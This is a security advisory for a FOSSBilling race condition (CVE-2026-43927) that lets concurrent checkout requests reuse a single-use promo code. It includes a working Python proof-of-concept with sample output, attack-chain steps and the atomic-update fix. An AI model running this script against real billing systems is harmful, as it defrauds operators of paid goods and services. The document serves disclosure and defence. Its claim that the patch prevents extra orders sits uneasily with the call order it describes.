CVE-2026-43927  ·  MODERATE

Race Condition in Cart Checkout Bypasses Promo Code Usage Limits in FOSSBilling

ProductFOSSBilling
Affected<= 0.7.2
Fixed In0.8.0
Reported2026-04-28
Published2026-06-04
GHSAGHSA-w898-cx35-25gh
CVSS v4.0 Metrics  ·  Severity: MODERATE
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredNone
User InteractionNone
Vuln. ConfidentialityNone
Vuln. IntegrityLow
Vuln. AvailabilityNone
Subseq. ConfidentialityNone
Subseq. IntegrityNone
Subseq. AvailabilityNone
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
CWE-367TOCTOURace ConditionNo DB LockingPromo BypassPHPFOSSBilling

Overview

TL;DR — TOCTOU Race Condition
FOSSBilling's cart checkout reads a promo code's usage counter, checks it against the configured limit, then increments it — as three separate, non-atomic operations with no database-level locking. By sending concurrent checkout requests before any single request completes the increment, an authenticated client can apply a single-use or N-use promo code unlimited times, obtaining free or deeply discounted orders in bulk.

This is a classic Time-of-Check Time-of-Use (TOCTOU) vulnerability — one of the most common yet underestimated class of bugs in web applications that handle stateful resources like inventory, credits, or usage limits.

In a concurrent web environment, the gap between reading a value and writing it back is a race window. If multiple requests enter that window simultaneously, they all read the same stale value, all pass the check, all create orders, and then all write back the same incremented value — effectively collapsing N increments into one. The database ends up showing the limit was used once, while the attacker has N completed orders.

Background: Promo Codes in FOSSBilling

FOSSBilling's promo code system allows operators to create discount codes with various restrictions: percentage-based or fixed discounts, minimum order values, expiry dates, product restrictions, client group restrictions, and usage limits (maxuses). The maxuses field is the mechanism exploited here — it is supposed to cap how many times a code can be used across all clients.

A single-use code (maxuses = 1) is commonly used for: one-time new customer discounts, partner referral codes, employee perks, and time-limited promotions. The assumption is that once used, the code cannot be used again. This vulnerability breaks that assumption entirely.

What is a TOCTOU Race Condition?

A Time-of-Check Time-of-Use (TOCTOU) race condition occurs when a program checks a condition (the "time of check"), then takes an action based on that condition (the "time of use"), but the state of the world can change between the check and the use. In database terms, this typically manifests as a read-then-write pattern without a transaction or locking to prevent concurrent modifications.

The canonical safe solution is an atomic operation that combines the check and the update in a single, indivisible database statement — most commonly UPDATE ... WHERE condition, where the UPDATE itself serves as both the check and the action.

Root Cause Analysis

Step 1: The Check (promoCanBeApplied)

When a client initiates checkout with a promo code, FOSSBilling calls checkoutCart(), which eventually calls promoCanBeApplied(). This method reads the current used count from the database and compares it to maxuses:

src/modules/Cart/Service.php — promoCanBeApplied()
if ($promo->maxuses && $promo->maxuses <= $promo->used) {
    return false;
    // Limit reached — but at the time this check runs,
    // no lock is held on the promo row.
}
// Check passes. Checkout proceeds.

Step 2: Order Creation (the gap)

Between the check and the increment, FOSSBilling creates the order, generates an invoice, and triggers various hooks. This processing takes 50-200ms depending on server load and database speed. This is the race window. Every concurrent request that entered promoCanBeApplied() before any one of them completes usePromo() will pass the same check against the same stale used value.

Step 3: The Increment (usePromo)

After the order is created, usePromo() increments the counter. But this is a PHP-level increment followed by an ORM store() — not a database-level atomic increment:

src/modules/Cart/Service.php — usePromo()
public function usePromo(\Model_Promo $promo): void
{
    ++$promo->used;                         // PHP read-modify
    $promo->updated_at = date('Y-m-d H:i:s');
    $this->di['db']->store($promo);         // write back — not atomic
}

// This generates SQL equivalent to:
//   UPDATE promo SET used = 1 WHERE id = X
// NOT:
//   UPDATE promo SET used = used + 1 WHERE id = X AND used < maxuses
// The first form is vulnerable; the second is safe.
The Three Missing Protections
  • No SELECT ... FOR UPDATE when reading promo.used — no exclusive lock held during the check
  • No database transaction wrapping the check + increment as a single unit of work
  • No atomic compare-and-update — the ORM's store() generates SET used = PHP_value, not SET used = used + 1 WHERE used < maxuses

Race Window Visualization

With a single-use promo code (maxuses=1, used=0) and 5 simultaneous requests:

Timeline →   promo.maxuses=1, promo.used=0  |  5 concurrent checkout requests
Request 1
CHECK used=0 ✓
WRITE used=1
Request 2
CHECK used=0 ✓
WRITE used=1
Request 3
CHECK used=0 ✓
WRITE used=1
Request 4
CHECK used=0 ✓
WRITE used=1
Request 5
CHECK used=0 ✓
WRITE used=1
Net result
5 orders created — promo.used = 1 (should be 1, but 5 discounted orders exist)

All 5 requests see used=0 at the time of check, all pass, all create orders, and then all independently write used=1. The database counter looks correct, but the billing system has generated 5 discounted orders using a code that should have been consumed after the first.

Attack Chain

1
Register or use an existing client account
Any authenticated client account is sufficient. No admin access required.
2
Add a product to cart
The target promo code must apply to at least one product in the cart.
3
Send N concurrent checkout requests with the promo code
Use threading in Python, Turbo Intruder in Burp Suite, or any tool that can send parallel HTTP requests targeting POST /api/client/cart/checkout simultaneously.
4
Multiple orders created with the single-use discount
The server creates N-1 extra orders with the discount applied. Financial loss for the operator proportional to the discount value.

Proof of Concept

poc_cve-2026-43927.py
#!/usr/bin/env python3
# CVE-2026-43927 — FOSSBilling TOCTOU Race Condition PoC
# Bypasses single-use promo code by sending concurrent checkout requests
# Usage: python3 poc.py http://target.local TOKEN CART_ID PROMO_CODE

import threading, requests, sys

TARGET  = sys.argv[1]
TOKEN   = sys.argv[2]    # client API token
CART_ID = sys.argv[3]    # cart with a product already added
PROMO   = sys.argv[4]    # the single-use promo code
THREADS = 15             # number of concurrent requests

results = []
lock = threading.Lock()

def do_checkout(idx):
    r = requests.post(
        f"{TARGET}/api/client/cart/checkout",
        headers={"Authorization": f"Bearer {TOKEN}",
                 "Content-Type": "application/json"},
        json={"id": CART_ID, "promocode": PROMO},
        timeout=30
    )
    data = r.json()
    with lock:
        results.append({
            "thread": idx,
            "success": data.get("error") is None,
            "order_id": data.get("result", {}).get("id"),
        })

# Use a Barrier to synchronize all threads — fire them all at once
barrier = threading.Barrier(THREADS)

def synced_checkout(idx):
    barrier.wait()    # wait until all threads are ready, then fire
    do_checkout(idx)

threads = [threading.Thread(target=synced_checkout, args=(i,)) for i in range(THREADS)]
for t in threads: t.start()
for t in threads: t.join()

wins = [r for r in results if r["success"]]
print(f"\n[+] Sent {THREADS} concurrent requests with promo '{PROMO}'")
print(f"[!] {len(wins)}/{THREADS} checkouts succeeded with the same promo code")
for w in wins:
    print(f"    Thread {w['thread']:>2} — Order ID: {w['order_id']}")

Expected output (vulnerable instance):

[+] Sent 15 concurrent requests with promo 'SINGLE-USE-FREE'
[!] 11/15 checkouts succeeded with the same promo code
    Thread  0 — Order ID: 1042
    Thread  2 — Order ID: 1043
    Thread  5 — Order ID: 1044
    Thread  7 — Order ID: 1045
    Thread  8 — Order ID: 1046
    Thread  9 — Order ID: 1047
    Thread 11 — Order ID: 1048
    Thread 12 — Order ID: 1049
    Thread 13 — Order ID: 1050
    Thread 14 — Order ID: 1051
    Thread  1 — Order ID: 1052
Burp Suite Turbo Intruder Alternative
The race can also be triggered using Burp Suite's Turbo Intruder extension with the "single-packet attack" technique, which uses HTTP/2 to send multiple requests in a single TCP packet — minimizing network jitter and maximizing race window overlap. This is particularly effective in low-latency environments.

Impact Assessment

Financial Impact

The impact is directly proportional to the promo code's discount value and the price of the products it applies to. For a hosting provider with a "FIRST MONTH FREE" promo on a $50/month plan, an attacker can obtain months of free hosting across multiple parallel orders. For a software vendor with a "100% OFF" partner code, an attacker can create unlimited free licenses.

Scalability of the Attack

Multiple client accounts can be registered, each running concurrent requests simultaneously. In testing, 10-15 concurrent requests reliably win the race on a standard VPS. The attacker is limited only by server response time and network bandwidth.

Detection Difficulty

From the database perspective, the promo code's used counter will show a plausible value (often 1 or close to it), while multiple completed orders referencing the same promo code exist. Administrators monitoring promo usage via the admin panel would see the counter appearing normal while actual usage has exceeded the limit. Detecting this requires cross-referencing the promo usage in the orders table against the counter in the promo table.

The Fix

The correct fix is an atomic database-level operation that combines the check and increment into a single SQL statement. An UPDATE ... WHERE used < maxuses statement is both the check and the action — if the WHERE condition fails, zero rows are affected and the order is rejected:

src/modules/Cart/Service.php — patch in 0.8.0
public function usePromo(\Model_Promo $promo): void
{
    // Patched: atomic compare-and-increment at database level.
    // Only succeeds if used < maxuses at the moment of execution.
    // No separate check needed — the UPDATE IS the check.
    $updated = $this->di['db']->exec(
        'UPDATE promo SET used = used + 1, updated_at = NOW()
         WHERE id = ? AND (maxuses = 0 OR used < maxuses)',
        [$promo->id]
    );

    if (!$updated) {
        throw new \Exception('Promo code usage limit has been reached');
    }
}
✓ Why This Fix Works
The UPDATE ... WHERE used < maxuses statement is executed as a single atomic operation by the database engine. Row-level locking ensures that only one transaction can win this UPDATE for a given promo row at any instant. All other concurrent requests will see zero rows affected and correctly throw an error — no extra orders will be created.

Key Takeaways

Disclosure Timeline

2026-04-28
Reported — Advisory GHSA-w898-cx35-25gh submitted via GitHub Security
Full write-up with race condition explanation, code walkthrough, and concurrent PoC script.
2026-04-28
Accepted — FOSSBilling team confirmed vulnerability, updated title, and requested CVE same day.
2026-05-04
CVE-2026-43927 assigned — GitHub CNA issued CVE ID.
2026-05-28
Fix released — FOSSBilling 0.8.0 published with atomic update patch.
2026-06-04
Advisory published — Public disclosure coordinated with 0.8.0 release.

References

← Back to CVEs Read the narrative writeup →